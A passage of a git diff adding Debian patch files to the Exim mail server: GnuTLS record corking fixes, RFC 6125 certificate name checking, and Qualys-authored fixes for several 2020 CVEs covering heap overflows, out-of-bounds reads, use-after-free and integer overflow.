gnutls_record_cork(state->session); ++if (more && !state->corked) gnutls_record_cork(state->session); + #endif + + DEBUG(D_tls) debug_printf("%s(%p, " SIZE_T_FMT "%s)\n", __FUNCTION__, +@@ -2833,10 +2837,10 @@ if (len > INT_MAX) + } + + #ifdef SUPPORT_CORK +-if (more != corked) ++if (more != state->corked) + { + if (!more) (void) gnutls_record_uncork(state->session, 0); +- corked = more; ++ state->corked = more; + } + #endif + diff --git a/debian/patches/80_02-GnuTLS-tls_write-wait-after-uncorking-the-session.patch b/debian/patches/80_02-GnuTLS-tls_write-wait-after-uncorking-the-session.patch new file mode 100644 index 0000000..9998618 --- /dev/null +++ b/debian/patches/80_02-GnuTLS-tls_write-wait-after-uncorking-the-session.patch @@ -0,0 +1,73 @@ +From 783cb0301d9ceef2748956c3f91762275b7b45e5 Mon Sep 17 00:00:00 2001 +From: "Heiko Schlittermann (HS12-RIPE)" <hs@schlittermann.de> +Date: Tue, 18 Feb 2020 18:59:49 +0100 +Subject: [PATCH 5/6] GnuTLS: tls_write(): wait after uncorking the session + +(cherry picked from commit 8f9adfd36222d4e9e730734e00dffe874073e5b4) +--- + src/tls-gnu.c | 34 ++++++++++++++++++++++++++++------ + 1 file changed, 28 insertions(+), 6 deletions(-) + +diff --git a/src/tls-gnu.c b/src/tls-gnu.c +index 822ad89c6..94a718673 100644 +--- a/src/tls-gnu.c ++++ b/src/tls-gnu.c +@@ -2835,9 +2835,14 @@ tls_write(void * ct_ctx, const uschar * buff, size_t len, BOOL more) + ssize_t outbytes; + size_t left = len; + exim_gnutls_state_st * state = ct_ctx ? ct_ctx : &state_server; +-#ifdef SUPPORT_CORK + +-if (more && !state->corked) gnutls_record_cork(state->session); ++#ifdef SUPPORT_CORK ++if (more && !state->corked) ++ { ++ DEBUG(D_tls) debug_printf("gnutls_record_cork(session=%p)\n", state->session); ++ gnutls_record_cork(state->session); ++ state->corked = TRUE; ++ } + #endif + + DEBUG(D_tls) debug_printf("%s(%p, " SIZE_T_FMT "%s)\n", __FUNCTION__, +@@ -2853,6 +2858,7 @@ while (left > 0) + while (outbytes == GNUTLS_E_AGAIN); + + DEBUG(D_tls) debug_printf("outbytes=" SSIZE_T_FMT "\n", outbytes); ++ + if (outbytes < 0) + { + DEBUG(D_tls) debug_printf("%s: gnutls_record_send err\n", __FUNCTION__); +@@ -2878,10 +2884,26 @@ if (len > INT_MAX) + } + + #ifdef SUPPORT_CORK +-if (more != state->corked) +- { +- if (!more) (void) gnutls_record_uncork(state->session, 0); +- state->corked = more; ++if (!more && state->corked) ++ { ++ DEBUG(D_tls) debug_printf("gnutls_record_uncork(session=%p)\n", state->session); ++ do { ++ do ++ /* We can't use GNUTLS_RECORD_WAIT here, as it retries on ++ GNUTLS_E_AGAIN || GNUTLS_E_INTR, which would break our timeout set by alarm(). ++ The GNUTLS_E_AGAIN should not happen ever, as our sockets are blocking anyway. ++ But who knows. (That all relies on the fact that GNUTLS_E_INTR and GNUTLS_E_AGAIN ++ match the EINTR and EAGAIN errno values.) */ ++ outbytes = gnutls_record_uncork(state->session, 0); ++ while (outbytes == GNUTLS_E_AGAIN); ++ ++ if (outbytes < 0) ++ { ++ record_io_error(state, len, US"uncork", NULL); ++ return -1; ++ } ++ } while (gnutls_record_check_corked(state->session) > 0); ++ state->corked = FALSE; + } + #endif + +-- +2.28.0 + diff --git a/debian/patches/80_03-GnuTLS-Do-not-care-about-corked-data-when-uncorking.patch b/debian/patches/80_03-GnuTLS-Do-not-care-about-corked-data-when-uncorking.patch new file mode 100644 index 0000000..da8748f --- /dev/null +++ b/debian/patches/80_03-GnuTLS-Do-not-care-about-corked-data-when-uncorking.patch @@ -0,0 +1,55 @@ +From 3afb07f2c63fb6dc3983b28e7cdaf11fceb741d1 Mon Sep 17 00:00:00 2001 +From: "Heiko Schlittermann (HS12-RIPE)" <hs@schlittermann.de> +Date: Mon, 2 Mar 2020 22:56:32 +0100 +Subject: [PATCH 6/6] GnuTLS: Do not care about corked data when uncorking + +(cherry picked from commit d8d7e3a4162b52382daf8319f221c085c76c5b8f) +--- + src/tls-gnu.c | 31 +++++++++++++++---------------- + 1 file changed, 15 insertions(+), 16 deletions(-) + +diff --git a/src/tls-gnu.c b/src/tls-gnu.c +index 94a718673..2091e44db 100644 +--- a/src/tls-gnu.c ++++ b/src/tls-gnu.c +@@ -2887,22 +2887,21 @@ if (len > INT_MAX) + if (!more && state->corked) + { + DEBUG(D_tls) debug_printf("gnutls_record_uncork(session=%p)\n", state->session); +- do { +- do +- /* We can't use GNUTLS_RECORD_WAIT here, as it retries on +- GNUTLS_E_AGAIN || GNUTLS_E_INTR, which would break our timeout set by alarm(). +- The GNUTLS_E_AGAIN should not happen ever, as our sockets are blocking anyway. +- But who knows. (That all relies on the fact that GNUTLS_E_INTR and GNUTLS_E_AGAIN +- match the EINTR and EAGAIN errno values.) */ +- outbytes = gnutls_record_uncork(state->session, 0); +- while (outbytes == GNUTLS_E_AGAIN); +- +- if (outbytes < 0) +- { +- record_io_error(state, len, US"uncork", NULL); +- return -1; +- } +- } while (gnutls_record_check_corked(state->session) > 0); ++ do ++ /* We can't use GNUTLS_RECORD_WAIT here, as it retries on ++ GNUTLS_E_AGAIN || GNUTLS_E_INTR, which would break our timeout set by alarm(). ++ The GNUTLS_E_AGAIN should not happen ever, as our sockets are blocking anyway. ++ But who knows. (That all relies on the fact that GNUTLS_E_INTR and GNUTLS_E_AGAIN ++ match the EINTR and EAGAIN errno values.) */ ++ outbytes = gnutls_record_uncork(state->session, 0); ++ while (outbytes == GNUTLS_E_AGAIN); ++ ++ if (outbytes < 0) ++ { ++ record_io_error(state, len, US"uncork", NULL); ++ return -1; ++ } ++ + state->corked = FALSE; + } + #endif +-- +2.28.0 + diff --git a/debian/patches/82_TLS-use-RFC-6125-rules-for-certifucate-name-checks-w.patch b/debian/patches/82_TLS-use-RFC-6125-rules-for-certifucate-name-checks-w.patch new file mode 100644 index 0000000..10e54e3 --- /dev/null +++ b/debian/patches/82_TLS-use-RFC-6125-rules-for-certifucate-name-checks-w.patch @@ -0,0 +1,188 @@ +Description: TLS: use RFC 6125 rules for certificate name checks when + CNAMES are present. Bug 2594 +Origin: upstream https://git.exim.org/exim.git/commit/0851a3bbf4667081d47f5d85b6b3a5cb33cbdba6 +Bug: https://bugs.exim.org/show_bug.cgi?id=2594 +Forwarded: not-needed +Last-Update: 2021-03-02 + +--- a/doc/ChangeLog ++++ b/doc/ChangeLog +@@ -41,10 +41,15 @@ JH/10 OpenSSL: Fix aggregation of messag + + JH/11 Harden plaintext authenticator against a badly misconfigured client-send + string. Previously it was possible to cause undefined behaviour in a + library routine (usually a crash). Found by "zerons". + ++JH/06 Bug 2594: Change the name used for certificate name checks in the smtp ++ transport. Previously it was the name on the DNS A-record; use instead ++ the head of the CNAME chain leading there (if there is one). This seems ++ to align better with RFC 6125. ++ + + JH/18 GnuTLS: fix $tls_out_ocsp under hosts_request_ocsp. Previously the + verification result was not updated unless hosts_require_ocsp applied. + + JH/20 Bug 2389: fix server advertising of usable certificates, under GnuTLS in +--- a/src/host.c ++++ b/src/host.c +@@ -1966,10 +1966,17 @@ host_item *last = NULL; + BOOL temp_error = FALSE; + #if HAVE_IPV6 + int af; + #endif + ++#ifndef DISABLE_TLS ++/* Copy the host name at this point to the value which is used for ++TLS certificate name checking, before anything modifies it. */ ++ ++host->certname = host->name; ++#endif ++ + /* Make sure DNS options are set as required. This appears to be necessary in + some circumstances when the get..byname() function actually calls the DNS. */ + + dns_init((flags & HOST_FIND_QUALIFY_SINGLE) != 0, + (flags & HOST_FIND_SEARCH_PARENTS) != 0, +@@ -2132,10 +2139,13 @@ for (i = 1; i <= times; + + else + { + host_item *next = store_get(sizeof(host_item)); + next->name = host->name; ++#ifndef DISABLE_TLS ++ next->certname = host->certname; ++#endif + next->mx = host->mx; + next->address = text_address; + next->port = PORT_NONE; + next->status = hstatus_unknown; + next->why = hwhy_unknown; +@@ -2150,16 +2160,16 @@ for (i = 1; i <= times; + + /* If no hosts were found, the address field in the original host block will be + NULL. If temp_error is set, at least one of the lookups gave a temporary error, + so we pass that back. */ + +-if (host->address == NULL) ++if (!host->address) + { + uschar *msg = + #ifndef STAND_ALONE +- (message_id[0] == 0 && smtp_in != NULL)? +- string_sprintf("no IP address found for host %s (during %s)", host->name, ++ message_id[0] == 0 && smtp_in ++ ? string_sprintf("no IP address found for host %s (during %s)", host->name, + smtp_get_connection_info()) : + #endif + string_sprintf("no IP address found for host %s", host->name); + + HDEBUG(D_host_lookup) debug_printf("%s\n", msg); +@@ -2277,10 +2287,17 @@ dns_record *rr; + host_item *thishostlast = NULL; /* Indicates not yet filled in anything */ + BOOL v6_find_again = FALSE; + BOOL dnssec_fail = FALSE; + int i; + ++#ifndef DISABLE_TLS ++/* Copy the host name at this point to the value which is used for ++TLS certificate name checking, before any CNAME-following modifies it. */ ++ ++host->certname = host->name; ++#endif ++ + /* If allow_ip is set, a name which is an IP address returns that value + as its address. This is used for MX records when allow_mx_to_ip is set, for + those sites that feel they have to flaunt the RFC rules. */ + + if (allow_ip && string_is_ip_address(host->name, NULL) != 0) +--- a/src/structs.h ++++ b/src/structs.h +@@ -77,18 +77,21 @@ host addresses is done using this struct + + typedef enum {DS_UNK=-1, DS_NO, DS_YES} dnssec_status_t; + + typedef struct host_item { + struct host_item *next; +- const uschar *name; /* Host name */ +- const uschar *address; /* IP address in text form */ +- int port; /* port value in host order (if SRV lookup) */ +- int mx; /* MX value if found via MX records */ +- int sort_key; /* MX*1000 plus random "fraction" */ +- int status; /* Usable, unusable, or unknown */ +- int why; /* Why host is unusable */ +- int last_try; /* Time of last try if known */ ++ const uschar *name; /* Host name */ ++#ifndef DISABLE_TLS ++ const uschar *certname; /* Name used for certificate checks */ ++#endif ++ const uschar *address; /* IP address in text form */ ++ int port; /* port value in host order (if SRV lookup) */ ++ int mx; /* MX value if found via MX records */ ++ int sort_key; /* MX*1000 plus random "fraction" */ ++ int status; /* Usable, unusable, or unknown */ ++ int why; /* Why host is unusable */ ++ int last_try; /* Time of last try if known */ + dnssec_status_t dnssec; + } host_item; + + /* Chain of rewrite rules, read from the rewrite config, or parsed from the + rewrite_headers field of a transport. */ +--- a/src/tls-gnu.c ++++ b/src/tls-gnu.c +@@ -2191,13 +2191,13 @@ tls_client_setup_hostname_checks(host_it + { + if (verify_check_given_host(CUSS &ob->tls_verify_cert_hostnames, host) == OK) + { + state->exp_tls_verify_cert_hostnames = + #ifdef SUPPORT_I18N +- string_domain_utf8_to_alabel(host->name, NULL); ++ string_domain_utf8_to_alabel(host->certname, NULL); + #else +- host->name; ++ host->certname; + #endif + DEBUG(D_tls) + debug_printf("TLS: server cert verification includes hostname: \"%s\".\n", + state->exp_tls_verify_cert_hostnames); + } +--- a/src/tls-openssl.c ++++ b/src/tls-openssl.c +@@ -309,18 +309,18 @@ typedef struct tls_ext_ctx_cb { + X509_STORE *verify_store; /* non-null if status requested */ + BOOL verify_required; + } client; + } u_ocsp; + #endif +- uschar *dhparam; ++ uschar * dhparam; + /* these are cached from first expand */ +- uschar *server_cipher_list; ++ uschar * server_cipher_list; + /* only passed down to tls_error: */ +- host_item *host; ++ host_item * host; + const uschar * verify_cert_hostnames; + #ifndef DISABLE_EVENT +- uschar * event_action; ++ uschar * event_action; + #endif + } tls_ext_ctx_cb; + + /* should figure out a cleanup of API to handle state preserved per + implementation, for various reasons, which can be void * in the APIs. +@@ -2359,13 +2359,13 @@ if ((rc = setup_certs(ctx, ob->tls_verif + + if (verify_check_given_host(CUSS &ob->tls_verify_cert_hostnames, host) == OK) + { + cbinfo->verify_cert_hostnames = + #ifdef SUPPORT_I18N +- string_domain_utf8_to_alabel(host->name, NULL); ++ string_domain_utf8_to_alabel(host->certname, NULL); + #else +- host->name; ++ host->certname; + #endif + DEBUG(D_tls) debug_printf("Cert hostname to check: \"%s\"\n", + cbinfo->verify_cert_hostnames); + } + return OK; diff --git a/debian/patches/84_01-CVE-2020-28025-Heap-out-of-bounds-read-in-pdkim_fini.patch b/debian/patches/84_01-CVE-2020-28025-Heap-out-of-bounds-read-in-pdkim_fini.patch new file mode 100644 index 0000000..7c79753 --- /dev/null +++ b/debian/patches/84_01-CVE-2020-28025-Heap-out-of-bounds-read-in-pdkim_fini.patch @@ -0,0 +1,44 @@ +From 9db12ffa00aa1dcbe60eec543307f405e35cfe15 Mon Sep 17 00:00:00 2001 +From: Qualys Security Advisory <qsa@qualys.com> +Date: Sun, 21 Feb 2021 18:54:16 -0800 +Subject: [PATCH 01/29] CVE-2020-28025: Heap out-of-bounds read in + pdkim_finish_bodyhash() + +--- + src/pdkim/pdkim.c | 6 +++--- + 1 file changed, 3 insertions(+), 3 deletions(-) + +diff --git a/src/pdkim/pdkim.c b/src/pdkim/pdkim.c +index 594af03c5..e203311da 100644 +--- a/src/pdkim/pdkim.c ++++ b/src/pdkim/pdkim.c +@@ -825,7 +825,7 @@ for (sig = ctx->sig; sig; sig = sig->next) + /* VERIFICATION --------------------------------------------------------- */ + /* Be careful that the header sig included a bodyash */ + +- if ( sig->bodyhash.data ++ if (sig->bodyhash.data && sig->bodyhash.len == b->bh.len + && memcmp(b->bh.data, sig->bodyhash.data, b->bh.len) == 0) + { + DEBUG(D_acl) debug_printf("PDKIM [%s] Body hash compared OK\n", sig->domain); +@@ -1524,7 +1524,7 @@ for (sig = ctx->sig; sig; sig = sig->next) + do this hash incrementally. + We don't need the hash we're calculating here for the GnuTLS and OpenSSL + cases of RSA signing, since those library routines can do hash-and-sign. +- ++ + Some time in the future we could easily avoid doing the hash here for those + cases (which will be common for a long while. We could also change from + the current copy-all-the-headers-into-one-block, then call the hash-and-sign +@@ -1779,7 +1779,7 @@ for (sig = ctx->sig; sig; sig = sig->next) + ); + goto NEXT_VERIFY; + } +- ++ + /* Make sure sig uses supported DKIM version (only v1) */ + if (sig->version != 1) + { +-- +2.30.2 + diff --git a/debian/patches/84_02-CVE-2020-28018-Use-after-free-in-tls-openssl.c.patch b/debian/patches/84_02-CVE-2020-28018-Use-after-free-in-tls-openssl.c.patch new file mode 100644 index 0000000..3a488b3 --- /dev/null +++ b/debian/patches/84_02-CVE-2020-28018-Use-after-free-in-tls-openssl.c.patch @@ -0,0 +1,33 @@ +From 86cafc842feb6223476568921c2d3e06c706cc31 Mon Sep 17 00:00:00 2001 +From: Qualys Security Advisory <qsa@qualys.com> +Date: Sun, 21 Feb 2021 19:05:56 -0800 +Subject: [PATCH 02/29] CVE-2020-28018: Use-after-free in tls-openssl.c + +--- + src/tls-openssl.c | 4 ---- + 1 file changed, 4 deletions(-) + +diff --git a/src/tls-openssl.c b/src/tls-openssl.c +index e751edd9a..2a8d4cabd 100644 +--- a/src/tls-openssl.c ++++ b/src/tls-openssl.c +@@ -2910,16 +2910,12 @@ a store reset there, so use POOL_PERM. */ + + if (!ct_ctx && (more || corked)) + { +-#ifdef EXPERIMENTAL_PIPE_CONNECT + int save_pool = store_pool; + store_pool = POOL_PERM; +-#endif + + corked = string_catn(corked, buff, len); + +-#ifdef EXPERIMENTAL_PIPE_CONNECT + store_pool = save_pool; +-#endif + + if (more) + { +-- +2.30.2 + diff --git a/debian/patches/84_03-CVE-2020-28023-Out-of-bounds-read-in-smtp_setup_msg.patch b/debian/patches/84_03-CVE-2020-28023-Out-of-bounds-read-in-smtp_setup_msg.patch new file mode 100644 index 0000000..28af9cc --- /dev/null +++ b/debian/patches/84_03-CVE-2020-28023-Out-of-bounds-read-in-smtp_setup_msg.patch @@ -0,0 +1,58 @@ +From 4cfadd994e5ab6e57cc43164d1e3198bb4faedbb Mon Sep 17 00:00:00 2001 +From: Qualys Security Advisory <qsa@qualys.com> +Date: Sun, 21 Feb 2021 19:11:55 -0800 +Subject: [PATCH 03/29] CVE-2020-28023: Out-of-bounds read in smtp_setup_msg() + +Extracted from Jeremy Harris's commit afaf5a50. +--- + src/acl.c | 3 ++- + src/macros.h | 1 + + src/smtp_in.c | 4 ++-- + 3 files changed, 5 insertions(+), 3 deletions(-) + +diff --git a/src/acl.c b/src/acl.c +index f3b860e4a..49f6fe79c 100644 +--- a/src/acl.c ++++ b/src/acl.c +@@ -4464,7 +4464,8 @@ switch (where) + /* Drop cutthrough conns, and drop heldopen verify conns if + the previous was not DATA */ + { +- uschar prev = smtp_connection_had[smtp_ch_index-2]; ++ uschar prev = ++ smtp_connection_had[SMTP_HBUFF_PREV(SMTP_HBUFF_PREV(smtp_ch_index))]; + BOOL dropverify = !(prev == SCH_DATA || prev == SCH_BDAT); + + cancel_cutthrough_connection(dropverify, US"quit or conndrop"); +diff --git a/src/macros.h b/src/macros.h +index 0f93543ce..b3896b736 100644 +--- a/src/macros.h ++++ b/src/macros.h +@@ -154,6 +154,7 @@ enough to hold all the headers from a normal kind of message. */ + /* The size of the circular buffer that remembers recent SMTP commands */ + + #define SMTP_HBUFF_SIZE 20 ++#define SMTP_HBUFF_PREV(n) ((n) ? (n)-1 : SMTP_HBUFF_SIZE-1) + + /* The initial size of a big buffer for use in various places. It gets put + into big_buffer_size and in some circumstances increased. It should be at least +diff --git a/src/smtp_in.c b/src/smtp_in.c +index 86f87eae1..4265d77b7 100644 +--- a/src/smtp_in.c ++++ b/src/smtp_in.c +@@ -5322,10 +5322,10 @@ while (done <= 0) + } + if (f.smtp_in_pipelining_advertised && last_was_rcpt) + smtp_printf("503 Valid RCPT command must precede %s\r\n", FALSE, +- smtp_names[smtp_connection_had[smtp_ch_index-1]]); ++ smtp_names[smtp_connection_had[SMTP_HBUFF_PREV(smtp_ch_index)]]); + else + done = synprot_error(L_smtp_protocol_error, 503, NULL, +- smtp_connection_had[smtp_ch_index-1] == SCH_DATA ++ smtp_connection_had[SMTP_HBUFF_PREV(smtp_ch_index)] == SCH_DATA + ? US"valid RCPT command must precede DATA" + : US"valid RCPT command must precede BDAT"); + +-- +2.30.2 + diff --git a/debian/patches/84_04-CVE-2020-28010-Heap-out-of-bounds-write-in-main.patch b/debian/patches/84_04-CVE-2020-28010-Heap-out-of-bounds-write-in-main.patch new file mode 100644 index 0000000..9e3d368 --- /dev/null +++ b/debian/patches/84_04-CVE-2020-28010-Heap-out-of-bounds-write-in-main.patch @@ -0,0 +1,42 @@ +From 5987d0dfe88ee6081b72857bc8085c7d2afd53a3 Mon Sep 17 00:00:00 2001 +From: Qualys Security Advisory <qsa@qualys.com> +Date: Sun, 21 Feb 2021 19:17:32 -0800 +Subject: [PATCH 04/29] CVE-2020-28010: Heap out-of-bounds write in main() + +Based on Phil Pennock's commit 0f57feb4. +--- + src/exim.c | 11 ++++++----- + 1 file changed, 6 insertions(+), 5 deletions(-) + +diff --git a/src/exim.c b/src/exim.c +index 83b5ef51f..a7dc48c4e 100644 +--- a/src/exim.c ++++ b/src/exim.c +@@ -3664,6 +3664,9 @@ during readconf_main() some expansion takes place already. */ + /* Store the initial cwd before we change directories. Can be NULL if the + dir has already been unlinked. */ + initial_cwd = os_getcwd(NULL, 0); ++if (initial_cwd && strlen(CCS initial_cwd) >= BIG_BUFFER_SIZE) { ++ exim_fail("exim: initial cwd is far too long\n"); ++} + + /* checking: + -be[m] expansion test - +@@ -3950,11 +3953,9 @@ if ( (debug_selector & D_any || LOGGING(arguments)) + p += 13; + else + { +- Ustrncpy(p + 4, initial_cwd, big_buffer_size-5); +- p += 4 + Ustrlen(initial_cwd); +- /* in case p is near the end and we don't provide enough space for +- * string_format to be willing to write. */ +- *p = '\0'; ++ p += 4; ++ snprintf(CS p, big_buffer_size - (p - big_buffer), "%s", CCS initial_cwd); ++ p += strlen(CCS p); + } + + (void)string_format(p, big_buffer_size - (p - big_buffer), " %d args:", argc); +-- +2.30.2 + diff --git a/debian/patches/84_05-CVE-2020-28011-Heap-buffer-overflow-in-queue_run.patch b/debian/patches/84_05-CVE-2020-28011-Heap-buffer-overflow-in-queue_run.patch new file mode 100644 index 0000000..086644b --- /dev/null +++ b/debian/patches/84_05-CVE-2020-28011-Heap-buffer-overflow-in-queue_run.patch @@ -0,0 +1,39 @@ +From 9970ba4d8b9477d98c722221b6b7b97f03104b9f Mon Sep 17 00:00:00 2001 +From: Qualys Security Advisory <qsa@qualys.com> +Date: Sun, 21 Feb 2021 19:22:33 -0800 +Subject: [PATCH 05/29] CVE-2020-28011: Heap buffer overflow in queue_run() + +--- + src/queue.c | 14 ++++++++++---- + 1 file changed, 10 insertions(+), 4 deletions(-) + +diff --git a/src/queue.c b/src/queue.c +index 92109ef92..41af5b85e 100644 +--- a/src/queue.c ++++ b/src/queue.c +@@ -416,12 +416,18 @@ if (!recurse) + p += sprintf(CS p, " -q%s", extras); + + if (deliver_selectstring) +- p += sprintf(CS p, " -R%s %s", f.deliver_selectstring_regex? "r" : "", +- deliver_selectstring); ++ { ++ snprintf(CS p, big_buffer_size - (p - big_buffer), " -R%s %s", ++ f.deliver_selectstring_regex? "r" : "", deliver_selectstring); ++ p += strlen(CCS p); ++ } + + if (deliver_selectstring_sender) +- p += sprintf(CS p, " -S%s %s", f.deliver_selectstring_sender_regex? "r" : "", +- deliver_selectstring_sender); ++ { ++ snprintf(CS p, big_buffer_size - (p - big_buffer), " -S%s %s", ++ f.deliver_selectstring_sender_regex? "r" : "", deliver_selectstring_sender); ++ p += strlen(CCS p); ++ } + + log_detail = string_copy(big_buffer); + if (*queue_name) +-- +2.30.2 + diff --git a/debian/patches/84_06-CVE-2020-28013-Heap-buffer-overflow-in-parse_fix_phr.patch b/debian/patches/84_06-CVE-2020-28013-Heap-buffer-overflow-in-parse_fix_phr.patch new file mode 100644 index 0000000..6acdecc --- /dev/null +++ b/debian/patches/84_06-CVE-2020-28013-Heap-buffer-overflow-in-parse_fix_phr.patch @@ -0,0 +1,34 @@ +From 0f6c3d3f7efb5d66dabf69c36e06912d89ff96fc Mon Sep 17 00:00:00 2001 +From: Qualys Security Advisory <qsa@qualys.com> +Date: Sun, 21 Feb 2021 19:28:28 -0800 +Subject: [PATCH 06/29] CVE-2020-28013: Heap buffer overflow in + parse_fix_phrase() + +Based on Phil Pennock's commit 8a50c88a. +--- + src/parse.c | 9 ++++++--- + 1 file changed, 6 insertions(+), 3 deletions(-) + +diff --git a/src/parse.c b/src/parse.c +index 4b0efa0e1..e1e2e7358 100644 +--- a/src/parse.c ++++ b/src/parse.c +@@ -1149,9 +1149,12 @@ while (s < end) + { + if (ss >= end) ss--; + *t++ = '('; +- Ustrncpy(t, s, ss-s); +- t += ss-s; +- s = ss; ++ if (ss > s) ++ { ++ Ustrncpy(t, s, ss-s); ++ t += ss-s; ++ s = ss; ++ } + } + } + +-- +2.30.2 + diff --git a/debian/patches/84_07-Security-Refuse-negative-and-large-store-allocations.patch b/debian/patches/84_07-Security-Refuse-negative-and-large-store-allocations.patch new file mode 100644 index 0000000..53b4492 --- /dev/null +++ b/debian/patches/84_07-Security-Refuse-negative-and-large-store-allocations.patch @@ -0,0 +1,74 @@ +From 5fd6af5815401dc60e8fe4309258911aa41d3013 Mon Sep 17 00:00:00 2001 +From: Qualys Security Advisory <qsa@qualys.com> +Date: Sun, 21 Feb 2021 19:40:21 -0800 +Subject: [PATCH 07/29] Security: Refuse negative and large store allocations + +Based on Phil Pennock's commits b34d3046 and e6c1606a. +--- + src/store.c | 29 ++++++++++++++++++++++++++++- + 1 file changed, 28 insertions(+), 1 deletion(-) + +diff --git a/src/store.c b/src/store.c +index b52799132..a2a80f631 100644 +--- a/src/store.c ++++ b/src/store.c +@@ -128,6 +128,12 @@ Returns: pointer to store (panic on malloc failure) + void * + store_get_3(int size, const char *filename, int linenumber) + { ++if (size < 0 || size > INT_MAX/2) ++ { ++ log_write(0, LOG_MAIN|LOG_PANIC_DIE, ++ "bad memory allocation requested (%d bytes)", ++ size); ++ } + /* Round up the size to a multiple of the alignment. Although this looks a + messy statement, because "alignment" is a constant expression, the compiler can + do a reasonable job of optimizing, especially if the value of "alignment" is a +@@ -270,6 +276,13 @@ store_extend_3(void *ptr, int oldsize, int newsize, const char *filename, + int inc = newsize - oldsize; + int rounded_oldsize = oldsize; + ++if (oldsize < 0 || newsize < oldsize || newsize >= INT_MAX/2) ++ { ++ log_write(0, LOG_MAIN|LOG_PANIC_DIE, ++ "bad memory extension requested (%d -> %d bytes)", ++ oldsize, newsize); ++ } ++ + if (rounded_oldsize % alignment != 0) + rounded_oldsize += alignment - (rounded_oldsize % alignment); + +@@ -508,7 +521,16 @@ store_newblock_3(void * block, int newsize, int len, + const char * filename, int linenumber) + { + BOOL release_ok = store_last_get[store_pool] == block; +-uschar * newtext = store_get(newsize); ++uschar * newtext; ++ ++if (len < 0 || len > newsize) ++ { ++ log_write(0, LOG_MAIN|LOG_PANIC_DIE, ++ "bad memory extension requested (%d -> %d bytes)", ++ len, newsize); ++ } ++ ++newtext = store_get(newsize); + + memcpy(newtext, block, len); + if (release_ok) store_release_3(block, filename, linenumber); +@@ -539,6 +561,11 @@ store_malloc_3(int size, const char *filename, int linenumber) + { + void *yield; + ++if (size < 0 || size >= INT_MAX/2) ++ log_write(0, LOG_MAIN|LOG_PANIC_DIE, ++ "bad memory allocation requested (%d bytes)", ++ size); ++ + if (size < 16) size = 16; + + if (!(yield = malloc((size_t)size))) +-- +2.30.2 + diff --git a/debian/patches/84_08-CVE-2020-28017-Integer-overflow-in-receive_add_recip.patch b/debian/patches/84_08-CVE-2020-28017-Integer-overflow-in-receive_add_recip.patch new file mode 100644 index 0000000..d621b70 --- /dev/null +++ b/debian/patches/84_08-CVE-2020-28017-Integer-overflow-in-receive_add_recip.patch @@ -0,0 +1,49 @@ +From b5052a65ed1ba81269ac5a03b4505aa9d55ce084 Mon Sep 17 00:00:00 2001 +From: Qualys Security Advisory <qsa@qualys.com> +Date: Sun, 21 Feb 2021 19:46:55 -0800 +Subject: [PATCH 08/29] CVE-2020-28017: Integer overflow in + receive_add_recipient() + +Based on Phil Pennock's commit e3b441f7. +--- + src/receive.c | 10 ++++++++-- + 1 file changed, 8 insertions(+), 2 deletions(-) + +diff --git a/src/receive.c b/src/receive.c +index a0467e8c8..227ace084 100644 +--- a/src/receive.c ++++ b/src/receive.c +@@ -488,6 +488,12 @@ if (recipients_count >= recipients_list_max) + { + recipient_item *oldlist = recipients_list; + int oldmax = recipients_list_max; ++ ++ const int safe_recipients_limit = INT_MAX / 2 / sizeof(recipient_item); ++ if (recipients_list_max < 0 || recipients_list_max >= safe_recipients_limit) ++ { ++ log_write(0, LOG_MAIN|LOG_PANIC_DIE, "Too many recipients: %d", recipients_list_max); ++ } + recipients_list_max = recipients_list_max ? 2*recipients_list_max : 50; + recipients_list = store_get(recipients_list_max * sizeof(recipient_item)); + if (oldlist != NULL) +@@ -4070,7 +4076,7 @@ if (message_logs && !blackholed_by) + { + int fd; + uschar * m_name = spool_fname(US"msglog", message_subdir, message_id, US""); +- ++ + if ( (fd = Uopen(m_name, O_WRONLY|O_APPEND|O_CREAT, SPOOL_MODE)) < 0 + && errno == ENOENT + ) +@@ -4229,7 +4235,7 @@ if(!smtp_reply) + if (f.deliver_freeze) log_write(0, LOG_MAIN, "frozen by %s", frozen_by); + if (f.queue_only_policy) log_write(L_delay_delivery, LOG_MAIN, + "no immediate delivery: queued%s%s by %s", +- *queue_name ? " in " : "", *queue_name ? CS queue_name : "", ++ *queue_name ? " in " : "", *queue_name ? CS queue_name : "", + queued_by); + } + f.receive_call_bombout = FALSE; +-- +2.30.2 + diff --git a/debian/patches/84_09-CVE-2020-28022-Heap-out-of-bounds-read-and-write-in-.patch b/debian/patches/84_09-CVE-2020-28022-Heap-out-of-bounds-read-and-write-in-.patch new file mode 100644 index 0000000..1ace416 --- /dev/null +++ b/debian/patches/84_09-CVE-2020-28022-Heap-out-of-bounds-read-and-write-in-.patch @@ -0,0 +1,61 @@ +From f46455c848def70d686d7b164df75b27f8dae04d Mon Sep 17 00:00:00 2001 +From: Qualys Security Advisory <qsa@qualys.com> +Date: Sun, 21 Feb 2021 19:53:43 -0800 +Subject: [PATCH 09/29] CVE-2020-28022: Heap out-of-bounds read and write in + extract_option() + +Based on Phil Pennock's commit c5017adf. +--- + src/smtp_in.c | 20 +++++++++++++------- + 1 file changed, 13 insertions(+), 7 deletions(-) + +diff --git a/src/smtp_in.c b/src/smtp_in.c +index 4265d77b7..16c3a3e33 100644 +--- a/src/smtp_in.c ++++ b/src/smtp_in.c +@@ -1984,29 +1984,35 @@ static BOOL + extract_option(uschar **name, uschar **value) + { + uschar *n; +-uschar *v = smtp_cmd_data + Ustrlen(smtp_cmd_data) - 1; +-while (isspace(*v)) v--; ++uschar *v; ++if (Ustrlen(smtp_cmd_data) <= 0) return FALSE; ++v = smtp_cmd_data + Ustrlen(smtp_cmd_data) - 1; ++while (v > smtp_cmd_data && isspace(*v)) v--; + v[1] = 0; ++ + while (v > smtp_cmd_data && *v != '=' && !isspace(*v)) + { + /* Take care to not stop at a space embedded in a quoted local-part */ +- +- if (*v == '"') do v--; while (*v != '"' && v > smtp_cmd_data+1); ++ if (*v == '"') ++ { ++ do v--; while (v > smtp_cmd_data && *v != '"'); ++ if (v <= smtp_cmd_data) return FALSE; ++ } + v--; + } ++if (v <= smtp_cmd_data) return FALSE; + + n = v; + if (*v == '=') + { +- while(isalpha(n[-1])) n--; ++ while (n > smtp_cmd_data && isalpha(n[-1])) n--; + /* RFC says SP, but TAB seen in wild and other major MTAs accept it */ +- if (!isspace(n[-1])) return FALSE; ++ if (n <= smtp_cmd_data || !isspace(n[-1])) return FALSE; + n[-1] = 0; + } + else + { + n++; +- if (v == smtp_cmd_data) return FALSE; + } + *v++ = 0; + *name = n; +-- +2.30.2 + diff --git a/debian/patches/84_10-CVE-2020-28026-Line-truncation-and-injection-in-spoo.patch 